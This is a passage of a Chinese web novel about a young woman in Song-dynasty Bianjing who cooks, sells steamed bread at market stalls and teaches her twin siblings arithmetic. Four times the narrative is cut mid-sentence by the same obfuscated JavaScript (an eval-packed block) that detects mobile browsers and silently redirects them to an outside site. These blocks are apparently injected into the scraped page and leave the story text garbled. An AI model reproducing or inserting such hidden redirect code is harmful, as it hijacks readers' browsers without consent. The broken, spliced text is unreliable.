两个小家伙一前一后的摆碗拿筷子,柳朝云将最后一道蔬菜端上桌时,就见两人都眼巴巴地看着她。柳朝云忍不住笑了,柔声道:“吃吧。” 阳哥儿和月姐儿两人同时将筷子伸进水煮鱼片的大碗中,鱼片软嫩,力气稍微大一点就裂成了两半,月姐儿只能眼睁睁地看着阳哥儿率先吃了第一口。 阳哥儿的舌尖先是接触到一阵麻麻的花椒香,随后豆酱的咸、鱼肉的鲜、茱萸的辣,争前恐后的涌了上来,鱼肉嫩得都不用嚼,一卷一抿,就顺从地滑了下去。 月姐儿看的眼馋,拿起小勺子稳稳地舀了一勺放进碗里,也吃了起来。 “唔!真好吃!” “嘶哈!嘶哈!辣也好吃!” 月姐儿的唇边沾着一颗饭米粒,对柳朝云说:“阿姊挑的这条鱼可真乖,居然一根刺都没长。” 阳哥儿撇了撇嘴,道:“笨!不是鱼没长刺,是阿姊把鱼刺都剔掉啦!” 月姐儿噘着嘴从他筷子底下抢走一块鱼片,哼哼道:“反正阿姊最厉害!我今天要吃两碗饭!” 这对龙凤胎兄妹俩自打在娘胎里就日日待在一起,虽然一时恼一时吵一时笑,但柳朝云知道他们之间的感情好的不得了,于是她哄哄这个,逗逗那个,乐不可支。 虽然月姐儿和阳哥儿两人吃得都挺好,但还未达到柳朝云心目中的标准,主要是豆酱的问题。这酱是她从外面店里买的,味道不够香醇,吃起来差点意思。 豆酱并不难做 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17341509|199354||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,为了满足味蕾,她过几天就做起来。 三个人额上都吃出了一层细汗,月姐儿连垫在碗底、被汤汁泡的软到透明的白菘都拌着饭吃掉了,辣得直吐舌也舍不得松口,又招来阳哥儿一阵笑。 这时一人再来一碗温润浓稠乳白的鱼汤,配着滑嫩的豆腐和脆嫩的白菘丝,月姐儿捧着小肚子直呼再也吃不动了。 中午小睡片刻后,月姐儿提着小桶和瓢一趟一趟给小菜地浇水,阳哥儿则是将柴火从柴房运到灶下。他捡了一大把细细的木棍,摆在地上和月姐儿一起做柳朝云出给他们的算术题。 早上卖蒸面包的时候她就发现了,这两个小家伙二十以内的加减法全靠手指加脚趾硬数出来的,二十以上就抓瞎,实在让人哭笑不得。 于是柳朝云一边在院子里晒着太阳做各种腌菜,一边教两个孩子算术。 萝卜洗净后切成手指大小的条,等在太阳底下晒干之后,再混上各种调料凉拌。 将白菘的老叶、坏叶去掉,一切为二,放在坛子里一层白菘一层薄盐,直至最后一层,盐稍微多一些,再在上面压一块大石头压实,二十多天之后就能吃到酸脆爽口的酸菜了。 豆角挑出老的晒干,嫩的做成酸豆角。 周嫂子正趁着天晴将家里的床褥棉被拿出来晒,一边拍打着一边道:“你这样倒是提醒我了,马上就入冬了,到时鲜菜可贵了,要提前晒些菜干,再多买点白菘萝卜囤着才好。云娘,你家里可有地窖?” 柳朝云回道:“有的。”就在厨房隔壁的杂物间的墙角处,有一处颇大的地窖。 周嫂子道:“改日咱们和巷子里几家一道买,能多省几个子儿。” 柳朝云应了,又问:“还有炭火,得趁天气还未彻底变寒之前备好,否则天气越冷炭行涨价越狠呢。” 木炭每斤六文左右,一天至少要烧十斤,若是冬的日子再长些,光是炭火的钱五六贯都打不住。 可天一冷,晚上出来喝茶吃酒的人也少了,周嫂子死了男人,家里少了能撑腰的顶梁柱,纵然自身泼辣,但还是难免会受到排挤。等到客人一少,她作为焌糟娘子能挣的钱自然也就少了,周嫂子在心里默默算了一笔账,眉间拢上了一抹愁意。 康哥儿倒是万事不愁的模样,正和月姐儿阳哥儿蹲在一起摆弄着木棍,兴致勃勃地等柳朝云出数学题,俨然把算术当成一个小游戏来玩。 周嫂子越过围墙看见自家虎头虎脑的儿子连手带脚急得抓耳挠腮,忍不住噗嗤一声笑了,心里的愁绪倒是散了一些。 柳朝云忙完手里的活儿,将买来的蜜瓜洗净切开,作为认真“学习”的奖励给孩子们一人分了一片。 老妪卖的蜜瓜是自家种的,又脆又甜,汁水充盈。 月姐儿吃完一块,抬头便望见斜对门李家的小五郎,脸上顶着一块红肿的鞋印,脚上的鞋子破了一个洞,光着的大脚趾从洞里钻了出来,正一脸可怜巴巴的看着她。 11. “洗儿” 不知怎么的,月姐儿的心突然软了一下。 李五郎的样子让她想起了前不久在刘家的日子,若是阿姊没有狠下心来带他们离开,恐怕她现在过得也是这样的日子吧。 她蹬蹬跑到厨房,双臂一张抱着正在揉面的阿姊的纤腰,将脸贴在她身上,默默不语。 柳朝云两手都是面粉,腾不出手来抱她,低下头柔声细语地问:“月姐儿怎么了?不高兴了?能跟阿姊说说吗?” 月姐儿摇了摇头,过了一会儿才说:“李五郎被他阿娘打了,我能给他吃一块蜜瓜吗?” “当然可以。” “阿姊真好!” 小孩儿的脾气比六月的天变得还快,刚才还一脸惆怅,现在立马变得一脸欢喜,蹦蹦跳跳的出去了。 柳朝云无奈地摇了摇头,继续干自己的活儿。 月姐儿从堂屋桌子的盘子上拿起一块瓜,递到李五郎面前:“喏,给你吃。” 李五郎的眼睛里迸出一束光,高兴的都有些结巴了:“真,真的吗?” “自然是真的,吃不吃?” “吃!” 月姐儿皱眉看了一眼他伸过来的手,脏兮兮的,指甲缝里都是泥,又把瓜收了回去。 李五郎泫然欲泣,扁着嘴要哭不哭的样子。 月姐儿有些不耐烦,把他扯到水缸前,舀起一瓢水浇到他手上:“哭什么哭?又不是不给你吃了,先把手洗干净了。我阿姊说了,饭前便后要洗手,不洗手就吃东西的话会生病的,还会肚子里长小虫子,你吃什么它就吃什么......” 这一番话把李五郎给吓的,小脸煞白,飞快地搓着双手,恨不得搓下一层皮来。 李家没有水井,日常吃喝洗漱都要去巷子口的公用方井里去挑,来回一趟十分费力气。李娘子人懒,恨不得挑的越少越好,于是用水能省就省,先紧着吃喝,哪有多余的给孩子们洗手。 他洗干净手后,喜笑颜开的接过月姐儿递过来的蜜瓜,也不出去,就蹲在柳家的小院子里吃,连最外面那层瓜皮都舍不得扔,一起嚼了咽下肚。幸亏瓜皮是洗干净的,不然又遭月姐儿一番嫌弃。 李五郎只比月姐儿小一岁,却比她矮了一个头,身子长得也瘦。 “月姐儿,你阿姊对你真好,这么好吃的蜜瓜都许你随便送人,还日日买鱼买肉给你们吃。” 在李家,只有过年的时候才被允许吃肉,且就那么一碗,除了阿娘和阿爹,一人只能分到一口。 月姐儿拨弄着手底下的木棍,漫不经心地回答道:“阿姊说了,身体是一切的本钱,果蔬肉蛋米面每日都要吃,这样身体才不容易生病,身体变好了才能有精力做自己想做的事,否则什么也干不好。” 孩子清脆稚嫩的声音,像是一把散在瓷盘中的琉璃珠子,叮叮当当,每一颗都闪着圆润的光。 李五郎蹲在地上怔怔地听着,不知在想些什么。 就在这时,一道高大挺拔的身影在门口顿住,骨骼分明的大手在门上敲了敲。 月姐儿抬头,圆圆的杏眼弯了弯,蹦蹦跳跳地走了过去:“是你啊,住在隔壁的官爷。” 阳哥儿跑了过来,拱了拱手喊道:“柏郎君。” 月姐儿也笑眯眯地跟着喊了一声。 柏舟发觉这两个小团子的眼睛和他们阿姊的长得格外相似,在心底将他们的声音和柳家弟妹对上号,点了点头,道:“你阿姊在吗?我有事找她。” 阳哥儿立马道:“您稍等,我去叫她。” 斜对面的李二妞正不情不愿地出来找弟弟,刚喊了一句“五郎”,就看见柳家门口站着那位新搬来的冷面官爷,吓得立马噤了声。 李五郎听见声音,抹了一把嘴,闷头闷脑的对月姐儿小声说了一句:“你给我吃东西的事别告诉我家里人。”便跑了出去。 李二妞一把逮住他,拉进门内小声问道:“那位柏官爷去柳家做什么?是不是柳娘子告了我们家的状了?” 李五郎的肩膀被她攥得有些疼,不停地扭着:“不是,不是告状。” 李二妞这才松了一口气,问道:“那是做什么去了?” “我不知道,没听见,你想知道就自己去问好了!”李五郎从她手中挣扎开来,跑走了。 李二妞跺了跺脚,趴在门后面偷瞧偷听。 柳朝云揉好了面,盖上纱布放在一旁发酵,听到阳哥儿叫她,洗净了双手走到门口:“不知柏郎君有何事相商?” 柏舟将来意说明,将厢军们交上来的铜钱放在背篓里一齐递了过去,柳朝云又惊又喜,没想到这么快就接到了一个团购的单子。虽然不知道这生意能做多久,但能多挣点总是好的,说不定还能多积累些回头客,于是便应了下来。 “多谢柏郎君。” 柏舟颔首,迈步走向隔壁,忽然他站在门口,回身向某处看去,带着警告的锋利目光似乎穿透了门板,李二妞被吓了一跳,白着脸连连抚着胸口。 柳朝云坐在院子中央,一边喝水一边和两个小家伙玩你问我答的小游戏,时不时还有康哥儿生龙活虎的声音从隔壁传过来,一片欢声笑语,连静坐在屋内的柏舟都被这气氛感染到,一边看着严肃的公文一边轻轻勾起唇角。 月姐儿趴在她的膝盖上,仰着小脸好奇地小声问:“阿姊,李五郎的阿娘不是他的亲娘吗?为什么不给他吃肉,让他穿破鞋子,还要打他呀?” 柳朝云动作一顿,她对李娘子仅存在一些有限的印象,对于这些事还真不太清楚。 帮婆母整理丝线的周嫂子听了,忍不住叹了一口气,低声回答道:“何止呢,小五郎出生的时候险些遭了‘洗儿’呢。” 柳朝云倒吸了一口凉气。 此“洗儿”非彼“洗儿”,而是指生完孩子不想抚养,直接将其溺死的行为,通常发生在贫困百姓家,男多杀男,女多杀女,异常残忍。 不过当今官家登基后便针对养不起孩子的家庭给予减税或免税的政策,又修订法律:“故杀子孙,徒二年”,到如今这种情形才减少了许多。 但柳朝云还是忍不住蹙紧了眉头。 “李家能住在甜水巷,不论是赁屋还是买屋,家境不说殷实,总不至于太过贫困吧,更何况我见李娘子身上的衣服次 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17341510|199354||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 次都是新的呢,怎会连个孩子都养不起?” 周嫂子嗤笑一声,语气十分鄙夷:“她那人向来如此,宁愿刻薄别人,哪怕是自己的亲儿女,也不会亏待自己半分。就说她家大郎吧,自小就聪明懂事,日日路过学堂就能认得字。要是搁在别人家,当母亲的咬咬牙也要托孩子一把送去读书,可她倒好,扭头就将大郎送到了染坊当学徒,年底东家给的红包都被她夺去,一分不剩。拿了孩子的辛苦挣的钱,又不肯给他吃些好的,你是没看见,大郎才十四岁啊,那双手都已经糙得不成个样子了,指甲里日日都是洗不掉的颜料,哪还像个少年!” 柳朝云听了不免一阵唏嘘。 父母就是孩子的一面镜子,尤其是在孩子成长的关键阶段,父母的有些行为会影响孩子的一生。就比如前世在孤儿院长大的她,因为自己知道是被抛弃的,所以很多时候都免不了会自卑、会患得患失、会没有安全感,直到后来厨艺精进后,不停的有人对她说“你很好”“你很棒”,这种负面的情绪才渐渐从她心中消失。 也不知道李家的孩子们长大后会是什么样子。 月姐儿一脸似懂非懂的样子,柳朝云摸了摸她的头,叮嘱她和阳哥儿:“答应阿姊,这件事听过就忘了,不要对任何人提起,尤其是李家小五郎,好么?” 两个孩子俱乖乖地点头。 周嫂子也叹了一口气,如此叮嘱了自家没心没肺的儿子一番。 柳朝云将处理好的小鱼洗净晾干水分后放在锅中小火慢慢烘干,直到变得焦香酥脆。她留出一部分撒上调料给弟妹做小零食,剩下的研磨成粉,留作他用。 晚饭三人吃的便是中午已经提前处理好的鱼丸做的汤,鱼丸被反复摔打过,十分具有弹性,咬上一口,一股浓郁的、鱼肉特有的鲜甜味便涌上舌尖。加上中午的水煮鱼片和鱼头汤,可谓是“一鱼三吃”。 吃饱后,柳朝云便如早晨一般,将做好的蒸面包放进背篓里前往夜市。 夜市中有固定的摊位,也有流动的摊位。固定的摊位上都挂着牙牌,不得随意占用,流动的摊位则没那么多规矩。 柳朝云找了个树底下的空位,掀开纱布便吆喝开来。 夜市上客流量极多,有吃了晚饭过来消闲专门吃小吃的,也有没吃晚饭出来觅食的。蒸面包卖相好,又新颖实惠,价格也不贵,很快便有人买来尝鲜。 带来的两背篓很快便被卖空了,还有人问她明天还来不来,柳朝云觉得这生意可以做,便点头说来,顺便还推广了一下自己即将正式开张的早食摊。 回家后又马不停蹄地将明早需要的面团准备好,足有今早两倍的量。揉完之后,柳朝云觉得两条胳膊都快不是自己的了。 月姐儿和阳哥儿看在眼里,疼在心里,可惜他们年纪小,力气也小,帮不了阿姊什么忙。于是一人一边帮柳朝云捶肩揉背,让她更舒服一些。更是把牙刷子、洗脸水、洗脚水都端好送到她面前,把能做的都做了,不让她多劳累一下。 柳朝云看着眼前这么乖巧的弟妹,忍不住感叹:有弟妹如此,夫复何求!为了更美好的明天,努力挣钱啊! 12. 抢生意 次日清晨,天边刚透出一丝蒙蒙亮,甜水巷中的大多数人家都还静悄悄的时候,柳朝云已经在厨房里忙活起来了。 李家小五郎与两个兄长躺在炕上,小小瘦瘦的身子挤在大哥怀里,甜丝丝的香味钻进他的鼻子中,小五郎从睡梦中醒了过来,咽了咽口水,干瘪的肚皮咕噜噜的响了起来,声音哭唧唧的:“大哥,我饿。” 昨晚上李家每个孩子面前就只有一碗清汤寡水、说起来是“粥”但充其量只能算是“米汤”的东西,而小五郎因为最小,李娘子只给了他半碗,吃完跑一趟茅厕就全没了。 而李洪作为家里每月挣钱的顶梁柱,李娘子给他的那碗稠得筷子插进去都不会倒,给自己的那晚同样也是,还美其名曰:“官人你每日在外做活辛苦,我在家内操持家务,这几个毛孩子就会疯玩,不干活怎会饿,少吃点也没关系。” 这样的话几乎每日都要说一遍,几个孩子面上都是一片麻木,李洪也是不置可否,拿起筷子就吃。 李大郎其实也醒了,他转身看了一眼身旁的李三郎,见他睡得正香,被各种颜色染得黑黝黝的粗糙手掌悄悄伸进怀里,掏出半个手掌大的炊饼,掰开一块塞进李五郎嘴里。 炊饼不知放了多久,已经变得又干又硬,但李五郎还是十分珍惜的含在嘴里、一点一点抿化,一丁点渣子都舍不得放过。 “大哥,巷子里新来的柳家阿姊做饭可真香。” 李大郎“嗯”了一声。 “月姐儿和阳哥儿也好,不会拿石头砸我骂我,还......”还给我蜜瓜吃。 小五郎舌尖上仿佛还停留着那股甜丝丝的滋味儿。 李大郎的眼睛一眨不眨的盯着屋顶:“既是这样,五郎,以后不要再去别人家门口乞食了,否则他们同样会瞧不起你的。” “可我不去,阿娘和二姊都要打我,好疼。” “那就跑,跑得远远的,不要让她们找到你。” “好,我听大哥的。” 柳朝云将军巡院的蒸面包单放在一个背篓里,她手上有数,每一个都圆滚滚的,大小份量丝毫不差。 两家就隔着一堵墙,都不必招呼一声便能心照不宣的同时出门,柏舟从她手里接过东西挂在鞍侧,自己并不上马,而是牵着缰绳与三人同行。 军巡院相当于集现代派出所、消防队、街道办于一身的职能部门,分左右两院,主管官员为左右军巡使。相比于那些骑高头大马、着绿紫长袍的上官,军巡使这个职位显然与市井百姓们的关系更加紧密。 柳朝云倒是一点都不怵他,和柏舟有一搭没一搭的聊着,她话里把着分寸,该问的问,不该说的一个字都不会开口,时而妙语连珠,引得两个孩子咯咯直笑,柏舟也忍俊不禁,只觉得和她聊天十分的亲切放松。 等姐弟三人到了摊位,他还有点意犹未尽的意思。 卖炊饼的王四娘子探着头送走柏舟上马远去的背影,眼睛转了转,换了一副笑脸走到柳朝云面前,状似无意的探问道:“方才那位官爷是你家官人、还是你家亲戚?” 一边说一边伸手去掀盖在背篓上的纱布。 柳朝云绕开她的手,言简意赅道:“不是。” 王四娘子有些悻悻,小声嘀咕:“又不是什么好东西,碰一下怎么了,谁家没有似的。” 她还待再问,柳朝云冷不丁忽然道:“你家客人来了,再不招呼人可就跑了。” 王四娘子“呀”地一声,慌慌张张地站起身,却连半个人影都没看见,柳朝云的吆喝声却已清脆地响了起来,她的心中陡然升起一股被捉弄的恼怒,哼了一声回到自己的摊位,也大声吆喝了起来,音量一声高过一声,誓要压过柳朝云一头。 “蒸面包!蒸面包!王四家新出炉的蒸面包!” 月姐儿一听顿时便恼了:“他家昨日卖的还是炊饼呢,定是跟阿姊学的!哼!” 柳朝云捏了捏她气鼓鼓的小脸:“别理她,咱们卖咱们的。” 虽说都是蒸出来的,但是面包和炊饼揉的手法完全不同,口感自然也千差万别,若是那王四夫妇一夜之间便能破解这奥妙,那就不会一直只卖炊饼了,所以柳朝云根本不放在心上。 “蒸面包?什么新鲜玩意儿?”有客人好奇地在炊饼摊上探头问道。 王四娘子得意地撇了一眼柳朝云,乐颠颠地打开雾气缭绕的蒸笼:“您瞧,黄澄澄的,面里加了好些蛋呢。” 王四在一旁补充:“还有糖和油,都是好东西,比炊饼贵上两文,七文钱一个,客官买一个尝尝?” 客人狐疑地瞅了一眼,好奇心占领了上风,掏出铜钱:“来一个。” 这时候已经有人往这边打量了,其中不乏昨日来买过的客人。 两家卖的都是蒸面包,王四家的要便宜一文,若是味道相似,那他们便都去他家买去了。 柳朝云只看了一眼王四娘子手上的东西,就摇了摇头,月姐儿和阳哥儿也笑了。 什么蒸面包,不还是炊饼吗?只是换了个颜色而已,根本不是蒸面包。 果然,那人尝了一口,神色几番变换,好不容易咽了下去,冲到香饮摊上买了一杯熟水,才把嘴里奇怪的味道冲了个干净。 “呸!甜不甜、腥不腥、油不油的,一股子怪味儿!还不如炊饼呢!” 这时才有人拍了拍他的肩膀,指了指柳朝云的摊子:“兄弟,那个小娘子卖的才是货真价实的蒸面包,保准你吃了一个想两个,这家就是个东施效颦的仿冒品。” “可真的?你莫不是在骗我?” “骗你作甚?走走走,不信哥哥买了掰一块给你尝尝,实在是香甜得紧呢!” 王四夫妇脸上俱是惊呆了的表情,还没等他们反应过来,刚才还围在摊位前的客人都像是一阵风似的刮走了,刮到了柳朝云的摊位前,眼看着那丫头的生意竟像是比昨日还要好些似的。 反观自己这里的,因想着那劳什子蒸面包更挣钱,夫妻俩早上就没做炊饼,专做这个,做好了之后两人也没舍得尝尝味道就摆出来了,谁成想竟无人问津。两夫妻急得牙疼,即便是卖不出去,这几蒸笼的东西一家子吃到顶喉咙也吃不完,难不成全都要砸在手里? 柳朝云今天卖得比昨天还要快 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17341511|199354||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,还要多亏了王四娘子义务贡献的吆喝声。 她笑盈盈地走了过去:“王四叔、婶子,你们剩下的这些炊饼五文一个卖予我,我全包了如何?” 王四惊得从座位上站了起来,他也不再纠正自己卖的究竟是炊饼还是蒸面包了,只想着早点把它们全出手才好:“当真?你会有那么好心?” 他狐疑地扫了扫柳朝云的面庞:“你买这么多要做什么?光靠你们三个吃半个月都吃不完。” 阳哥儿一双小手抱在胸前,板着脸道:“关你什么事儿!我阿姊要做什么还要向你报告不成?” 月姐儿气呼呼地点头应和:“就是就是。” 王四脸上讪讪的,正要答应,就见自己的衣角被扯了扯,王四娘子眼睛闪了闪,道:“当家的,咱们这些蒸面包一个可是卖七文钱呢,她只出五文怎么行?” 王四一听顿时醍醐灌顶,直了直脊背拿乔道:“正是,七文一个才行。” 柳朝云冷嗤一声,一句话不多说转身就走:“那你们就自己留着吃吧。” 五文钱这对夫妻还能有点赚头呢,抄她的创意不说、竟还狮子大开口,真把她当冤大头宰了。 见她是真的熄了心思要走,并不是故作扭捏的要还价,王四夫妻这才急了:“等等!等等!柳娘子好商量,五文钱就五文钱,我们答应了。” 他们答应柳朝云可不干了,大拇指往下一落:“现在我只肯出四文了。” 两人顿时傻眼,这个价格堪堪只能覆盖住成本,相当于两人一早上白忙活一场,可是卖出去总比砸在自己手里要好,于是只能咬咬牙点头:“卖!” 两夫妻一边把炊饼装进柳朝云的背篓里,一边欲哭无泪的想:要不以后还是老老实实继续卖他们的炊饼算了。 月姐儿则是奶声奶气的一个个点着数:“一、二......三十四、三十五......六十一、六十二,一共六十二个,一个四文,那就是......” 月姐儿算到小脑瓜子打结都没算出个结果来,就见阿姊已经把钱数出来递过去了,她凑到眉头紧皱的阳哥儿耳旁,问道:“你算出来了吗?一共是多少钱?” 阳哥儿:“别吵,我在思考。” 等快走到甜水巷时,阳哥儿才终于抬起头来,乌黑水润的眼睛亮晶晶的:“阿姊我算出来了,一共时二百四十八文!” 柳朝云摸了摸他的额头,赞道:“算对了,阳哥儿真聪明。” 月姐儿也嘻嘻笑着,拍着手道:“阳哥儿真聪明!” 阳哥儿小脸微红,不好意思道:“算了好久呢,不像阿姊,在脑子里过了一遍就算出来了。” 柳朝云微微一笑:“那是因为阿姊练习过很多次啊,熟能生巧罢了,阳哥儿也可以的。走,等咱们回家,阿姊再慢慢教给你们一道九九乘法表,保准你们能算的更快。” 阳哥儿重重地点头,双目中隐隐含着崇拜。 月姐儿则是关心:“阿姊,咱们买这么多炊饼回来,是要做什么新的好吃的吗?” 柳朝云赞许地捏了捏月姐儿软嫩嫩的小脸:“真聪明!” 13. 香酥百味馒头片 等炊饼全都晾凉,微微变得表皮发干发硬时,柳朝云便将它们切成厚度相同的片状,然后在特意定做的圆形大陶盘的底部薄薄的刷上一层油,将这些放上去小火慢煎,直到两片都煎到金黄微焦、整体酥脆后盛出。然后再撒上一层盐、白芝麻、孜然、花椒、茱萸、肉桂、八角等各种磨成细粉混合在一起的香料,摇晃裹匀。 这些香料有的是在铺子里买的,有的是在药铺里才能寻到,其中有几样价格颇贵。 两个小试吃员各拿一块,“咔嚓”一声,极酥极脆的馒头片裂开在唇齿间,随后便漫上一层微辛咸鲜的香味,让他们的唾液忍不住争前恐后的冒了出来。 “没想到炊饼也能这么好吃!” 柳朝云也拿起一块尝了尝,满意地点了点头。 月姐儿已经开始吃第二块了,她原本还觉得阿姊买的太多了,现在却一点都不觉得。这么好吃的东西,怎么能嫌多呢? “阿姊阿姊,这个叫什么呀?” 宋朝人十分热衷于给美食起各种极为风雅的名字,以至于光从名字压根很难猜出就是是什么。但柳朝云卖的是亲民的市井小食,想了想决定还是起一个通俗易懂的名字——香酥百味馒头片。 她定价二十文一份,一份十片。 “两位小朋友请听题,已知一个炊饼可以切成五片,那么六十二个炊饼可以切成多少片呢?切成片后去夜市上卖,又能卖出多少钱呢?先答出来的小朋友可以获得一盘馒头片作为奖励,加油哟!” 有了好吃的零食作为胡萝卜在前面吊着,两个孩子的学习热情空前高涨,尤其是月姐儿,还拉来了康哥儿作为外援,承诺赢了之后将馒头片分他一半。 周嫂子一边做活儿一边乐,道:“我们家那猢狲正是狗都嫌的年纪,平日里就知道上蹿下跳的给我惹祸,还是云娘你有办法,能让他安静一会儿,顺带着还能学点算数,真是阿弥陀佛。” 柳朝云将炭炉搬到院子里,一边翻着馒头片一边回道:“周嫂子可打算送康哥儿去读书?” 周嫂子甩了甩胳膊上的水道:“哪能不想呢?孩儿他爹尚在的时候还念叨着呢,一道和他学手艺的师兄,就是因为比他多认得些字,便更得师傅看重。若是他还在......”周嫂子揩了揩眼角。 康哥儿的爹患上了时疫,光是治病的药材就几乎耗光了吴家的家底,可没成想还是没救过来,幸而吴婆婆年轻时绣技高超,攒钱置办了这座小院,他们孤儿寡母不至于无处可去。可她和周嫂子一年到头挣的钱也堪堪只够吃饭,根本没有多少余钱攒下来,就更别提送康哥儿去上学了。 柳朝云深知这一点,于是垂下眸不再多说,将一盘馒头片摆在了墙头上。 周嫂子连忙摆手:“不成不成,你这些都是要拿去卖钱的,哪能总给我们吃,快收回去。” 柳朝云笑着说:“不过是炊饼做的,不值几个钱,厨房里还有一箩筐呢,周嫂子还怕吃穷了我?” 周嫂子失笑,拿了一块没撒料的:“也罢,你那些香料贵价,快别撒了,我就吃这种的。” “你的心思也是巧,光是炊饼就能做出花来,我还是第一次见有这种做法呢。可这法子简单,怕是很快就让人学了去。” 柳朝云笑了笑:“不怕,汴京城这样大,人口百万,生意哪是我一个人就能吃得下的。” 她俏皮地眨了眨眼:“况且这撒料可是我的独家秘方,任凭是谁也学不去!” 两人正说着话,月姐儿忽然将手中木棍一扔,欢呼着扑到跟前:“阿姊!阿姊我算出来啦!” 柳朝云看了一眼站在她身后,早就胸有成竹却一直憋到现在、就是为了让一让月姐儿的阳哥儿,抿着嘴笑装作不知道:“哦?答案是多少,月姐儿说说看。” “一个炊饼可以切成五片,六十二个炊饼一共可以切成三百一十片!康哥儿,剩下的你来说。” “一份十片,卖二十文,那么一共可以卖六百二十文!” 柳朝云笑眯眯地在两个人的头上各胡噜一下:“恭喜你们!答对啦!奖励香酥百味馒头片一盘!” “哇!”月姐儿和阳哥儿两人俱都欢呼着,“阿姊真好!” 柳朝云招着手又把阳哥儿叫了过来,柔声问:“阿姊再单独出一道题考考阳哥儿,若是把炊饼的数量从六十二换成一百二十四,答案又该是多少呢?” 阳哥儿略想了想,回答道:“一共六百二十片,一千二百四十文。” 柳朝云击掌赞许:“对啦!这里面呢,一百二十四是六十二的两倍,那么两个答案也是各自的两倍,里面就包含着阿姊想教给你的乘法......” 于是柳朝云便趁着这个机会将九九乘法表教着他们念了一遍,实际上九九乘法表在晚唐时期就已经有了,只不过现在的人更依赖于算盘和算筹,她也不过是汲取了前人的智慧罢了。 九九乘法表朗朗上口,用清脆干净的童音念出来格外动听,不一会儿,连周嫂子都听住了。 下午,柳朝云照旧在厨房里准备蒸面包所需的面团,月姐儿和阳哥儿在外面和小伙伴们聚在一起看蚂蚁,李家的小五郎瘦小的身子隐在槐树后面,一脸想加入又不敢的样子。 月姐儿看见了,一把将他拽到自己身边,小五郎见没有人驱赶他,笑眯了眼,身子小心翼翼地往月姐儿脚边挪动了几分。 常家的芸姐儿牵着弟弟青哥儿从家往铁器铺去,青哥儿手里抱着书本,眼神却极为渴望地望着月姐儿他们的方向。 月姐儿不明所以,歪着头双眼弯弯对他道:“你要一起过来玩吗?” 青哥儿眼睛一亮,摇了摇姐姐的手,芸姐儿咬着唇有些为难,正准备开口,就被匆匆赶来的常娘子打断了。 她动作有些粗鲁地将青哥儿往前拉了拉:“玩什么玩?一寸光阴一寸金,等到你考上功名做大官了,有多少功夫玩不得?到那时阿娘再不会管你!” 说完瞪了芸姐儿一眼,拽着青哥儿往前走:“叫你看好弟弟,你就是这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17341512|199354||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 么看的?若不是我来的及时,你是不是就要让你弟弟跟个野孩子似的疯玩?” 芸姐儿似是早就被这么指责惯了,沉默着低下了头。 月姐儿虽然年纪小,但是话听得明白,隐隐约约觉得常娘子那句“野孩子”像是在骂自己似的,便有些不大高兴。 “对不住。”芸姐儿落在后面,对月姐儿道歉,“我阿娘她......她不是有意的,只是,只是过于看重青哥儿的学业。” 月姐儿看着面前这个内敛但十分温柔的姊姊,一下子就觉得不难受了,将一块馒头片塞进芸姐儿的手里笑着道:“没关系呀。” 常娘子见她迟迟没跟上来,正叉着腰沉脸回身看她,芸姐儿连忙小跑着追了过去,她小小地咬了一口,馒头片香脆扑鼻,她惊讶的同时连常娘子的唠叨声都没怎么听见。 月姐儿也给了李家小五郎一块,小五郎谨记月姐儿的教诲,把手洗的干干净净才去接,接到手里后他掰成两半,准备留一半晚上悄悄给大哥吃,谁知还没送到嘴边,两半就全被人从背后抢去了。 “啊!三哥,还给我!”小五郎急得直跳脚。 李三郎一手推他,一手忙不迭地塞到嘴里,吃完还舔了舔脏兮兮的手指:“吃完了,没有了。” 小五郎立马哭了出来,眼看着就要吵醒屋子里睡觉的李娘子,李三郎压低声音道:“你要是再吵我就把早上大哥给你吃独食的事情告诉二妞和四妞!” 这话颇有威慑力,小五郎只能抽抽噎噎的止住了哭泣。他抹干脸上的眼泪一个人跑了出去,猫在大槐树底下,眼神时不时地往柳家门口瞟,听着里面月姐儿咯咯的笑声,一种强烈的情绪在胸口处激荡着。 只不过,小小的他这时还不明白,这种感觉叫——羡慕。 